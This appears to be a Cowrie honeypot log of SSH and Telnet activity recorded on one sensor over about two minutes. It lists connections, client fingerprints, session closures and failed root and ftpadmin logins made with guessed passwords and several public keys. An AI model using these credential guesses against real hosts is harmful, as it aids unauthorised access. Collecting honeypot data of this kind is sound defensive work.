{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:07.930468Z","src_ip":"80.94.92.171","session":"fb7bd80e6ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44228,"dst_ip":"159.203.135.109","dst_port":23,"session":"429c7946406a","protocol":"telnet","message":"New connection: 135.148.14.151:44228 (159.203.135.109:23) [session: 429c7946406a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:10.085040Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.80.232.39","src_port":59426,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7c4a725f8c7","protocol":"ssh","message":"New connection: 117.80.232.39:59426 (10.17.0.5:22) [session: a7c4a725f8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:11.408154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:11.413018Z","src_ip":"117.80.232.39","session":"a7c4a725f8c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:11.641497Z","src_ip":"117.80.232.39","session":"a7c4a725f8c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERqwer123","message":"login attempt [root/QWERqwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:12.873168Z","src_ip":"117.80.232.39","session":"a7c4a725f8c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46848,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8acee2aecfe","protocol":"telnet","message":"New connection: 135.148.14.151:46848 (159.203.135.109:23) [session: d8acee2aecfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:17.057899Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":58672,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a5b2e0448d5","protocol":"ssh","message":"New connection: 202.51.70.20:58672 (10.17.0.5:22) [session: 0a5b2e0448d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:48.804716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:48.809325Z","src_ip":"202.51.70.20","session":"0a5b2e0448d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:49.070800Z","src_ip":"202.51.70.20","session":"0a5b2e0448d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.11221408843994,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:49.197124Z","src_ip":"135.148.14.151","session":"429c7946406a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"123456","message":"login attempt [ftpadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:50.146310Z","src_ip":"202.51.70.20","session":"0a5b2e0448d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44292,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb8e3b1c60b7","protocol":"telnet","message":"New connection: 135.148.14.151:44292 (159.203.135.109:23) [session: bb8e3b1c60b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:50.564343Z"}
{"eventid":"cowrie.session.closed","duration":0.0064280033111572266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:50.570558Z","src_ip":"135.148.14.151","session":"bb8e3b1c60b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:51.410589Z","src_ip":"202.51.70.20","session":"0a5b2e0448d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.47517108917236,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:54.532929Z","src_ip":"135.148.14.151","session":"d8acee2aecfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35400,"dst_ip":"159.203.135.109","dst_port":23,"session":"771b0e7fe744","protocol":"telnet","message":"New connection: 135.148.14.151:35400 (159.203.135.109:23) [session: 771b0e7fe744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:55.052435Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.215","src_port":20944,"dst_ip":"10.17.0.5","dst_port":22,"session":"57b90ea4a635","protocol":"ssh","message":"New connection: 198.98.56.215:20944 (10.17.0.5:22) [session: 57b90ea4a635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.551764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.555939Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.565423Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:eb:d6:b9:6d:3e:e1:f7:57:d1:2b:e0:ad:b0:2a:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQ224NvVA1pLeLOpGbJiBE8AGmSrE42ZKwRphSiWzR7FHVmqfzOyuAQ3rmT/avynzlI+LeSdeOJ34EpEBw+5l4upa6KaLFTD3UeofUsoSorLFrms0GYaEUS5rZHoK5p+R85kJWy0Uf7acdNyKNswkGOhXIY1TfTiWwP/qrM8sUZoNpGSM11mqqDijFILai72NcyMvyDz8igAkfBulCe9NyH9YDFgzg77ZJ9jL99rKdddDArsmk0346zRl57Dw3tKPR7nKS3OrHcdI5H186fz6ksQnpNWFlf+B83kaheg+xaJp7DTigJ7RhL+XqaknbhC33E1G34CzGNXH7caabm9nf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:eb:d6:b9:6d:3e:e1:f7:57:d1:2b:e0:ad:b0:2a:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.585683Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:eb:d6:b9:6d:3e:e1:f7:57:d1:2b:e0:ad:b0:2a:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQ224NvVA1pLeLOpGbJiBE8AGmSrE42ZKwRphSiWzR7FHVmqfzOyuAQ3rmT/avynzlI+LeSdeOJ34EpEBw+5l4upa6KaLFTD3UeofUsoSorLFrms0GYaEUS5rZHoK5p+R85kJWy0Uf7acdNyKNswkGOhXIY1TfTiWwP/qrM8sUZoNpGSM11mqqDijFILai72NcyMvyDz8igAkfBulCe9NyH9YDFgzg77ZJ9jL99rKdddDArsmk0346zRl57Dw3tKPR7nKS3OrHcdI5H186fz6ksQnpNWFlf+B83kaheg+xaJp7DTigJ7RhL+XqaknbhC33E1G34CzGNXH7caabm9nf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.589429Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:e7:e4:03:72:cb:0c:e8:2c:7d:be:a9:69:9d:a9:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDazG+ze+bHxaNrvDSMIeOubzyAGkuZtRF0AI+U7gUSI5qCAFDrM7+UT+biIrhxJAP7S/BtzyekdqqJspwdEwlypym/m2kloaixrGKcYG2mzS/DyU9DDwQcgdBniMTjCYxlw5AY53PujRpCTVnT+CQBwCTQKEV+xreCaUVeseQ8f2pp0pL9UcDA1w9ykE2gnhnJaqQNpQArp1f/RB+o8rh5/usfLPnlCCE+K1VWknf5HdL58drggTd7yFWZt1nUeY6vBq4eXZmkb92qQ6faoWPQhdxLxB+FeKB8GmNAkib8ONnM+wvp6Awx6UiYJMO4EULJH83of8LeBqNcYxYqbkMqRwKOdz2eiPVqJqoBtw2Wvhm3/f+ogiWEVcRbghxiNc/M+OJ3tsuG/5EWtS0VoUJ2IMxgLr3h9LCGX6KS0lw2/sWk4UlQ22UlryeDh8zPqU4UYUyrlQJDtiTmIyxm42YYpYYvNTjHAXtKei03hydx7vxJ7t6EQ/wmp0j77cyZlkU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:e7:e4:03:72:cb:0c:e8:2c:7d:be:a9:69:9d:a9:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.596437Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:e7:e4:03:72:cb:0c:e8:2c:7d:be:a9:69:9d:a9:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDazG+ze+bHxaNrvDSMIeOubzyAGkuZtRF0AI+U7gUSI5qCAFDrM7+UT+biIrhxJAP7S/BtzyekdqqJspwdEwlypym/m2kloaixrGKcYG2mzS/DyU9DDwQcgdBniMTjCYxlw5AY53PujRpCTVnT+CQBwCTQKEV+xreCaUVeseQ8f2pp0pL9UcDA1w9ykE2gnhnJaqQNpQArp1f/RB+o8rh5/usfLPnlCCE+K1VWknf5HdL58drggTd7yFWZt1nUeY6vBq4eXZmkb92qQ6faoWPQhdxLxB+FeKB8GmNAkib8ONnM+wvp6Awx6UiYJMO4EULJH83of8LeBqNcYxYqbkMqRwKOdz2eiPVqJqoBtw2Wvhm3/f+ogiWEVcRbghxiNc/M+OJ3tsuG/5EWtS0VoUJ2IMxgLr3h9LCGX6KS0lw2/sWk4UlQ22UlryeDh8zPqU4UYUyrlQJDtiTmIyxm42YYpYYvNTjHAXtKei03hydx7vxJ7t6EQ/wmp0j77cyZlkU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.600037Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:f9:5e:d4:18:e4:6d:21:ad:a2:e8:13:b4:04:b0:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFFwonKwY1j+3lSbIppTLKV7s/k8acNdrCFP0Xn+2l7orjU5t04h8Op1ilEsyAsU54ak984cikzfyeP6qNSTl89jAkIsdm9TNRGnPWT3Z2BRb3IjXO9S0zsH2G3MxwfMlT52EdpJ3vITiyeX5Ovfq1GyGUi/GRxatj6uOcBoi8z8ZpPkZPbnbwIzeW3DqQliCtGM+VQEFTM4jRDZwyTbq+8CGyS2MsvYOXl8blLLMb4NRjfvbnegc1CMrgDCr+LWDyiTqR0P/9ep0TkgzMZqNV4RTJVBGXBCF8P/OR8U7mdqqoXpH7qfnQ9h9ZF/+ibzU/g+FtrnzgsrWE9RGy4QchHGatbCZGde1sZrzFAzmQ/hHXI7bJ4wxFXFxXX5Xp71Og4L/YziZUPeF/po1jJChaiZ3okjciMrgKWArdl9D19SWt7XX1R09IcEnuB3bCfFIJm93gG2xfK8ZldMX2ZmJQFaWMoZOB4AEetB2TDWhjbAne3+Acsr8UIuZmonm4unOW4mQd4WF0t2bgCwodNqizU23b46JMgFaTZ9Tu1Qr0albPDo5+SADLLJxONUrLBRPD+Iy0vfJMT00KA9/f/s5o0hx0OJ+gDLOMkXjaAkk/v3rtGDRMnNKNHUhSV3GgsCJKVbFYCBIsvwLrsRfW5IQ+UBAji9GLXseuHMpE15ilCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:f9:5e:d4:18:e4:6d:21:ad:a2:e8:13:b4:04:b0:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.609073Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:f9:5e:d4:18:e4:6d:21:ad:a2:e8:13:b4:04:b0:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFFwonKwY1j+3lSbIppTLKV7s/k8acNdrCFP0Xn+2l7orjU5t04h8Op1ilEsyAsU54ak984cikzfyeP6qNSTl89jAkIsdm9TNRGnPWT3Z2BRb3IjXO9S0zsH2G3MxwfMlT52EdpJ3vITiyeX5Ovfq1GyGUi/GRxatj6uOcBoi8z8ZpPkZPbnbwIzeW3DqQliCtGM+VQEFTM4jRDZwyTbq+8CGyS2MsvYOXl8blLLMb4NRjfvbnegc1CMrgDCr+LWDyiTqR0P/9ep0TkgzMZqNV4RTJVBGXBCF8P/OR8U7mdqqoXpH7qfnQ9h9ZF/+ibzU/g+FtrnzgsrWE9RGy4QchHGatbCZGde1sZrzFAzmQ/hHXI7bJ4wxFXFxXX5Xp71Og4L/YziZUPeF/po1jJChaiZ3okjciMrgKWArdl9D19SWt7XX1R09IcEnuB3bCfFIJm93gG2xfK8ZldMX2ZmJQFaWMoZOB4AEetB2TDWhjbAne3+Acsr8UIuZmonm4unOW4mQd4WF0t2bgCwodNqizU23b46JMgFaTZ9Tu1Qr0albPDo5+SADLLJxONUrLBRPD+Iy0vfJMT00KA9/f/s5o0hx0OJ+gDLOMkXjaAkk/v3rtGDRMnNKNHUhSV3GgsCJKVbFYCBIsvwLrsRfW5IQ+UBAji9GLXseuHMpE15ilCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.612945Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:32:9c:89:37:88:90:6f:cc:59:d3:49:1a:a0:e0:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOHR4lKuv9IZrW3LU4BVRSjiHilKmg48/U6ISCVrnZEM7X0VGKCwBdzKlMki1Qt2TTxrs1cStkpBbbWH9MPN6t1OkqbVLDi3ymb9lwvTy4zqiPTpxpw5PGM+IwGPbS9+M3Ne9BMZgYgmjf1X6o3Ja4iwz7WZmSiXYiljePBvuC21aa/SGtwXOVW7RJpgv6WTMIMlYm/uBtclTm36AXsW2JECuOYA3IStr5gcHO6q5et/PtTTGXvPcrDtCLThX0BKlLLB+TyNdlfzLE44N/pyqJYiYeNTUo7/S7mWSbk0h2hPVGZZEGs2HMQtPhAvS5WdwVLfQuGZO6E2uXzGbEE6E1wFOndyvAWIX//bkgMeuslHacKRd4+281QI2YMQu6NPtReSoTnPPuaD+d16+uPfRXN076D8wDFMzbLlijG3GyF44rKjcC4+7E3efOlImRFIDuUoKw284uZO1QtPjeMFog6xZU8s4jRLCagSc97zJXS4SKobz0/q4lzjn4NayDyMM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:32:9c:89:37:88:90:6f:cc:59:d3:49:1a:a0:e0:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.621648Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:32:9c:89:37:88:90:6f:cc:59:d3:49:1a:a0:e0:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOHR4lKuv9IZrW3LU4BVRSjiHilKmg48/U6ISCVrnZEM7X0VGKCwBdzKlMki1Qt2TTxrs1cStkpBbbWH9MPN6t1OkqbVLDi3ymb9lwvTy4zqiPTpxpw5PGM+IwGPbS9+M3Ne9BMZgYgmjf1X6o3Ja4iwz7WZmSiXYiljePBvuC21aa/SGtwXOVW7RJpgv6WTMIMlYm/uBtclTm36AXsW2JECuOYA3IStr5gcHO6q5et/PtTTGXvPcrDtCLThX0BKlLLB+TyNdlfzLE44N/pyqJYiYeNTUo7/S7mWSbk0h2hPVGZZEGs2HMQtPhAvS5WdwVLfQuGZO6E2uXzGbEE6E1wFOndyvAWIX//bkgMeuslHacKRd4+281QI2YMQu6NPtReSoTnPPuaD+d16+uPfRXN076D8wDFMzbLlijG3GyF44rKjcC4+7E3efOlImRFIDuUoKw284uZO1QtPjeMFog6xZU8s4jRLCagSc97zJXS4SKobz0/q4lzjn4NayDyMM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.625806Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:5a:71:c0:54:41:c8:6d:2e:b3:6d:d4:a5:ce:ad:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1DeCQD+EbSEkQ4aTsD1iVTWS7lyDBKPqpTuM7BcTAGGvrpLlY4XI4CCDCs0K5TYO9OV/u/C7SzTKVFmR2SUJGYAvhnqN1hw7Ek3oWtDNZzQp2uCKRmCOnbnLxsln3VeIGH3nvRCHRN8XhmT+WMr7ixEZJOblFPR6xxBhymBOEhI3q941G00BEpb4xepAAoPFMfqClKMDsqENfzLbArDM2AZ6aiQoGT5tZHdL1UovnA/bYscaQ9USBhV68gW5N/0aRjuSZqwQgZqodGpjOwnRnUB+YQNLrdpztQvr+F+zxlEz5kITh/riP48XzWI+Hj/3guPEvAHItBMAn7RCXigAvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:5a:71:c0:54:41:c8:6d:2e:b3:6d:d4:a5:ce:ad:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.634050Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:5a:71:c0:54:41:c8:6d:2e:b3:6d:d4:a5:ce:ad:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1DeCQD+EbSEkQ4aTsD1iVTWS7lyDBKPqpTuM7BcTAGGvrpLlY4XI4CCDCs0K5TYO9OV/u/C7SzTKVFmR2SUJGYAvhnqN1hw7Ek3oWtDNZzQp2uCKRmCOnbnLxsln3VeIGH3nvRCHRN8XhmT+WMr7ixEZJOblFPR6xxBhymBOEhI3q941G00BEpb4xepAAoPFMfqClKMDsqENfzLbArDM2AZ6aiQoGT5tZHdL1UovnA/bYscaQ9USBhV68gW5N/0aRjuSZqwQgZqodGpjOwnRnUB+YQNLrdpztQvr+F+zxlEz5kITh/riP48XzWI+Hj/3guPEvAHItBMAn7RCXigAvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.637670Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:58.644974Z","src_ip":"198.98.56.215","session":"57b90ea4a635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48428,"dst_ip":"159.203.135.109","dst_port":23,"session":"01820fb23330","protocol":"telnet","message":"New connection: 135.148.14.151:48428 (159.203.135.109:23) [session: 01820fb23330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:53:21.973254Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:53:22.129035Z","src_ip":"117.80.232.39","session":"a950211d90ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.52521753311157,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:53:31.577514Z","src_ip":"135.148.14.151","session":"771b0e7fe744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54864,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5ab1f79e49c","protocol":"telnet","message":"New connection: 135.148.14.151:54864 (159.203.135.109:23) [session: f5ab1f79e49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:53:39.084983Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59394,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae9d7dc4fddf","protocol":"telnet","message":"New connection: 135.148.14.151:59394 (159.203.135.109:23) [session: ae9d7dc4fddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:53:46.229387Z"}
